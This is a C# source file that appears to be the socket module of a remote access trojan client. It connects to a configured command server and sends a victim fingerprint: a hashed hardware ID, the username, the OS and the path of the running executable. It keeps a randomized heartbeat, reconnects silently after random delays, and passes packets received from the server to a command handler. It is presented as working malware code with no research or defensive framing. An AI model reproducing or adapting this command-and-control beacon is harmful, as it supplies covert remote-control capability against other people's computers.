using Client.MessagePack; using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; using System.Security.Cryptography; using Client.Handle_Packet; namespace Client.Sockets { class ClientSocket { public static Socket Client { get; set; } private static byte[] Buffer { get; set; } private static long Buffersize { get; set; } private static bool BufferRecevied { get; set; } private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } private static object SendSync { get; set; } /// Initialization variables and connect to socket. public static void InitializeClient() { try { Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, ReceiveTimeout = -1, SendTimeout = -1, }; Client.Connect(Settings.IP, Settings.Port); Debug.WriteLine("Connected!"); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); SendSync = new object(); BeginSend(SendInfo()); TimerCallback T = CheckServer; Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Debug.WriteLine("Disconnected!"); Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); Reconnect(); } } /// Cleanup everything and start to connect again. public static void Reconnect() { if (Client.Connected) return; Tick?.Dispose(); try { Client?.Close(); Client?.Dispose(); } catch { } MS?.Dispose(); InitializeClient(); } /// Method to send our ID to server's listview. private static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString() + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; return msgpack.Encode2Bytes(); } private static string HWID() { StringBuilder sb = new StringBuilder(); sb.Append(Environment.UserDomainName); sb.Append(Environment.UserName); sb.Append(Environment.MachineName); sb.Append(Environment.Version); return GetHash(sb.ToString()); } private static string GetHash(string strToHash) { MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); bytesToHash = md5Obj.ComputeHash(bytesToHash); StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); return strResult.ToString().Substring(0, 12).ToUpper(); } /// get the length of the buffer by reading byte by byte [1] /// until we get the full size. public static void ReadServertData(IAsyncResult ar) { try { if (Client.Connected == false) { Reconnect(); return; } int Recevied = Client.EndReceive(ar); if (Recevied > 0) { if (BufferRecevied == false) { if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize - 1]; BufferRecevied = true; } } else { MS.Write(Buffer, 0, Buffer.Length); } } else { MS.Write(Buffer, 0, Recevied); if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(HandlePacket.Read, MS.ToArray()); MS.Dispose(); MS = new MemoryStream(); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; } else { Buffer = new byte[Buffersize - MS.Length]; } } Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } else { Reconnect(); } } catch { Reconnect(); } } /// Send /// adding the buffersize in the beginning of the stream public static void BeginSend(byte[] buffer) { lock (SendSync) { if (Client.Connected) { try { using (MemoryStream MS = new MemoryStream()) { byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); MS.Write(buffersize, 0, buffersize.Length); MS.Write(buffer, 0, buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); } } catch { Reconnect(); } } } } public static void EndSend(IAsyncResult ar) { try { Client.EndSend(ar); } catch { Reconnect(); } } public static void CheckServer(object obj) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); ClientSocket.BeginSend(msgpack.Encode2Bytes()); } } }